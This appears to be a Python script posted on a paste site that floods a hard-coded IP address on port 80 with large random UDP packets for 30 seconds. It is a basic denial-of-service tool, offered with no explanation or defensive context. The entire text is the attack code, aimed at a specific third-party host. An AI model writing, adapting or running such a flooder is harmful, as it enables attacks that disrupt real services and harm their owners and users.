# Pastebin h1ZroIla import random import sys import time import os import socket import time targetip = "45.55.163.146" durtime = 30 port = 80 package = 65500 print("Started..") durclock = (lambda:0, time.clock)[durtime > 0] packet = random._urandom(package) stress = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while True: if (durclock() < durtime): stress.sendto(packet, (targetip,int (port))) else: break